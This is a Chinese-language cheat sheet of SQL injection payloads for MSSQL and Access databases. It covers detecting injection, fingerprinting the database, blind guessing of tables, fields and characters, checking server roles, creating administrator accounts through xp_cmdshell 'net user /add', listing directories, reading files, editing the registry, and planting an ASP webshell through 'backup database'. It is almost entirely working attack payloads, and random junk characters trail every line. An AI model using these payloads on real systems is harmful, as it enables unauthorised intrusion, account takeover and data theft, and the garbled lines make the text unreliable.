1.判断是否有注入;and 1=1 ;and 1=2 1Xk{(G<\
2.初步判断是否是mssql ;and user>0 "t3uW6&
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3.注入参数是字符'and [查询条件] and ''=' ^=4I|+P,6.
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' "u3fs2
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5.判断数据库系统 wsdB;
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;and (select count(*) from msysobjects)>0 access op.PS{_t
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 8.q13t!D
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 i"2J5LLv
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 z<3}TD
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9.(1)猜字段的ascii值(access) #Of<1
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 V)WIfRs
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(2)猜字段的ascii值(mssql) ^-csi
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 "W,"qFx
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10.测试权限结构(mssql) ZPxOds1m
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- fed[^wW
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- SzgY2+Qq
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @4
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6f5sIg
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- LNyL>VHkK
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @Z=y'yc'y.
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;and 1=(select IS_MEMBER('db_owner'));-- v0H>iKh7
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11.添加mssql和系统的帐户 +gD)Yd
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;exec master.dbo.sp_addlogin username;-- VW<"c 5|
;exec master.dbo.sp_password null,username,password;-- NZw[.s>n
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- .@/z-OgXg
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;exec master.dbo.xp_cmdshell 'net user username password DY+8m8!4H
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- yW6[Fpw
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- !!D:V`F/d
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [jtj~]&mO
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12.(1)遍历目录 !tFU9Zt
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;create table dirs(paths varchar(100), id int) \PtC
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;insert dirs exec master.dbo.xp_dirtree 'c:\' E6wST@r
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;and (select top 1 paths from dirs)>0 v,x%^gv 0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >a anLLO
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(2)遍历目录 t2-zJJf8
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (j"~]T!)1
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 o4I!VK(C#s
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 PB3!;
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 A](}"Pi!n
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 c402pj
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13.mssql中的存储过程 DGuUI}|)
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xp_regenumvalues 注册表根键, 子键 GzZ|T7fm
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `))J8j"
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xp_regread 根键,子键,键值名 Xy8ie:D
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;exec xp_regread X=c
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T[$hYe8%^
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xp_regwrite 根键,子键, 值名, 值类型, 值 Z-sN4fr a
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kKk |@
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 nR |LV'(
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xp_regdeletevalue 根键,子键,值名 2Q_{2(nQb
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !vo '8r?&
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 &8YI)G%
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14.mssql的backup创建webshell SIBIh- L
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use model f+88R=-u6S
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create table cmd(str image); k-PRV8WO
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insert into cmd(str) values (''); O}iKPY8K
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backup database model to disk='c:\l.asp'; :x5o3xE
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15.mssql内置函数 snzH}$Ls
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;and (select @@version)>0 获得Windows的版本号 Sw9mrhzJfe
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa IhKas4
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;and (select user_name())>0 爆当前系统的连接用户 )^2jsy
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;and (select db_name())>0 得到当前连接的数据库 n_NG~/x
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16.简洁的webshell gl{PLLe[}
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use model Nm :lC%>X
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create table cmd(str image); GQAg
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insert into cmd(str) values (''); M]zNW{Xt
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backup database model to disk='g:\wwwtest\l.asp';